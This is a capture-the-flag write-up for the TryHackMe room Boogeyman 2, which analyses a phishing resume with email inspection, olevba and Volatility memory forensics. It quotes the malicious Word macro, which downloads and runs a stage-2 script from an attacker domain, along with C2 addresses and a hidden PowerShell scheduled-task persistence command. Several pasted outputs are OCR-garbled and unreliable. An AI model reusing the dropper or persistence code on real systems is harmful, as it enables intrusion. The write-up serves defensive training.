TryHackMe: Boogeyman 2

The following writeup is for <u>boogeyman 2</u>, a room hosted on TryHackMe. Tempest challenges users to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group.

Scenario: Maxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation. The security team was able to flag some suspicious commands on the workstation of Maxine, which prompted the investigation. Given this, you are tasked to analyse and assess the impact of the compromise.

What email was used to send the phishing email?

Firstly, you can open up the email using Evolution or you can just open it with a text editor, both options allow you to find the sender of the email:

From: westaylor23@outlook.com <westaylor23@outlook.com>

What is the email of the victim employee?

The recipient of the email can be found by following the steps in the previous question:

To: maxine.beck@quicklogisticsorg.onmicrosoft.com <<u>maxine.beck@quicklogisticsorg.onmicrosoft.com</u>>

What is the name of the attached malicious document?

Microsoft Word Document attachment (Resume_WesleyTaylor.doc)

What is the MD5 hash of the malicious attachment?

To generate the MD5 hash of the attachment, you first need to save the document and navigate to the installation directory:

```
ubuntu@tryhackme:~$ cd Desktop/
ubuntu@tryhackme:~/Desktop$ ls
Artefacts Resume WeslevTavlor.doc
```

You can then use the md5sum command like as follows:

ubuntu@tryhackme:~/Desktop\$ md5sum Resume_WesleyTaylor.doc
52c4384a0b9e248b95804352ebec6c5b Resume_WesleyTaylor.doc

What URL is used to download the stage 2 payload based on the document's macro?

As directed to in the introduction section, we can use a tool called Olevba to analyse the document. Olevba is a tool that analyses and extracts VBA macros from Microsoft Office documents.

ubuntu@tryhackme:~/Desktop\$ olevba Resume WesleyTaylor.doc

```
in file: Resume_WesleyTaylor.doc - OLE stream: 'Macros/VBA/NewMacros'
Sub Auton
spath = "C:\ProgramData\"
Dim xHttp: Set xHttp = GreateObject("Microsoft.XMLHTTP")
Dim btrm: Set bStrm = GreateObject("Adodb.Stream")
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
With bStrm
    .write xHttp.responseBody
End With
Set shell_object = GreateObject("WScript.Shell")
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
 d Sub
 ype
             Keyword
                                        |Description
 AutoExec | AutoOpen
                                        IRuns when the Word document is opened
              Open
                                        |May open a file
                                        |May write to a file (if combined with Open)
              Adodb.Stream
              |savetofile
              Shell
                                        |May run an executable file or a system
              WScript.Shell
                                        command
              |CreateObject
                                        |May create an OLE object
              Microsoft.XMLHTTP
                                        |May download files from the Internet
                                        |May run an executable file or a system
                                        |command using Excel 4 Macros (XLM/XLF)
                                        |Hex-encoded strings were detected, may be
|used to obfuscate strings (option --decode to
              |Hex Strings
                                        |see all)
              |https://files.boogey|URL
              |manisback.lol/aa2a9c
              | 53cbb80416d3b47d8553
              |8d9971/update.png
                                        |Executable file name
              |update.js
IOC
              wscript.exe
                                        |Executable file name
```

As you can see, there is a xHttp.Open command to

https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png:

```
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False xHttp.Send
```

What is the name of the process that executed the newly downloaded stage 2 payload?

Using the output from Olevba, we can see that wscript.exe is used to execute the downloaded stage 2 payload:

```
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile spath & "\update.js", 2
End With

Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
```

What is the full path of the malicious stage 2 payload?

```
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
```

The full path of the malicious stage 2 payload is C:\ProgramData\update.js.

What is the PID of the process that executed the stage 2 payload?

To answer this question, we need to use Volatility, a memory forensics tool. To find the PID of the process, we can use the pslist plugin. Before we do so, lets confirm that it is a memory dump from a Windows machine:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.info
Volatility 3 Framework 2.5.0
Progress: 100.00
                                PDB scanning finished
Variable
                Value
Kernel Base
                0xf8025321a000
        0x1aa000
Symbols file:///usr/local/lib/python3.8/dist-packages/volatility3-2.5.0-py
Is64Bit True
IsPAE
        False
layer_name
               0 WindowsIntel32e
memory_layer
               1 FileLayer
KdVersionBlock 0xf802536443c8
Major/Minor
               15.18362
MachineType
                34404
KeNumberProcessors
                        2
SystemTime
               2023-08-21 14:14:28
               C:\Windows
NtSystemRoot
NtProductType NtProductWinNt
 MajorVersion 10
 MinorVersion 0
  MajorOperatingSystemVersion
PE MinorOperatingSystemVersion
PE Machine
                34404
PE TimeDateStamp
                      Mon Apr 14 21:36:50 2104
```

It is, so we can now use the pslist plugin like as follows:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.pslist | grep wscript.exe
4260ress112400.0<mark>wscript.exe</mark> 0xe58f<mark>8</mark>64ca0c0 6 - 3 False 2023-08-21 14:12:47.000000 N/A Disabled
```

I have piped the output to grep so we can find the PID of wscript.exe, which we know to be the binary that executed the stage 2 payload. 4260 is the PID of wscript.exe as seen here:

```
4260 1124 wscript.exe
```

Note, the first column is the PID.

What is the parent PID of the process that executed the stage 2 payload?

We can use the pstree plugin to list all processes based on their parent process ID:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.pstree
```

** 596 3948	explore	r.exe 0xe
*** 1440	596	OUTLOOK.EXE
**** 1124	1440	WINWORD.EXE
**** 4336	1124	WINWORD.EXE
**** 4260	1124	wscript.exe
***** 6216	4260	updater.exe
***** 4464	6216	conhost.exe

As you can see, 1124 is the parent PID (PPID) of wscript.exe, aka WINWORD.EXE is the parent process of wscript.exe.

What URL is used to download the malicious binary executed by the stage 2 payload?

We already found the answer to this using Olevba:

https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png

What is the PID of the malicious process used to establish the C2 connection?

I started by using the netscan plugin which displays open network connections:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw netscan
```

After exploring the connections, I found updater.exe with PID 6216:

```
6216
                        updater.exe
                                        2023-08-21 14:12:48.000000
                                        2023-08-21 14:12:48.000000
                6216
                        updater.exe
                6216
                        updater.exe
                                        2023-08-21 14:12:48.000000
                                        2023-08-21 14:12:48.000000
                6216
                        updater.exe
                6216
                        updater.exe
                                        2023-08-21 14:12:48.000000
128.199.95.189 8080
                                                       2023-08-21 14:15:40.000000
                                        updater.exe
```

This is super suspicious and turns out to be the answer, but it merits more investigation.

What is the full path of the malicious process used to establish the C2 connection?

```
ubuntu@tryhackme:-/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.dlllist --pid 6216
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID Process Base Size Name Path LoadTime File output
6216 updater.exe 0xc20000 0xe000 updater.exe C:\Windows\Tasks\updater.exe 2023-08-21 14:12:48.000000 Disabled
```

As you can see, the full path of the malicious process is C:\Windows\Tasks\updater.exe.

What is the IP address and port of the C2 connection initiated by the malicious binary?

This was found through using netscan previous:

```
128.199.95.189 8080 CLOSED 6216 updater.exe
```

As you can see, the local address is making a connection to 128.199.95.189 on port 8080, so the answer is 128.199.95.189:8080.

What is the full file path of the malicious email attachment based on the memory dump?

We can use the filescan plugin and pipe the output to grep so we can search for Resume_WesleyTaylor which we know to be the name of the attachment:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw filescan | grep Resume
0xe58f86465740.0\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc
0xe58f878c1420 \Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc
```

Therefore, the full path of the malicious email attachment is C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHG ZCFI\Resume_WesleyTaylor (002).doc.

The attacker implanted a scheduled task right after establishing the c2 callback. What is the full command used by the attacker to maintain persistent access?

To find the command used by the attacker to maintain persistent access, we can use the strings utility on the memory dump and grep for schtasks (schedules commands and programs to run periodically):

```
Duntingtryhackners/busktop/Artefacts strings WKSTN-2001/raw | grep schtasks
| un "code of powershell.exe [io.file]::writeallbytes(.com.ubs /create /f /sc minute /mo 3 /tn.rum "cod.exe /c echo " & "set
| un "cod.exe /c echo " & "set
| un for code of powershell.exe [io.file]::writeallbytes(.com.ubs /create /f /sc minute /mo 3 /tn.rum "cod.exe /c echo " & "set
| un for code of powershell.exe [io.file]::writeallbytes(.com.ubs /create /sc minute /mo 3 /tn.rum "cod.exe /c echo " & "set
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```

The answer is therefore:

schtasks/Create/F/SC DAILY/ST 09:00/TN Updater/TR
'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\"'

This was a really interesting room, and I much preferred it over boogeyman 1. If you have any trouble with the questions, feel free to contact me.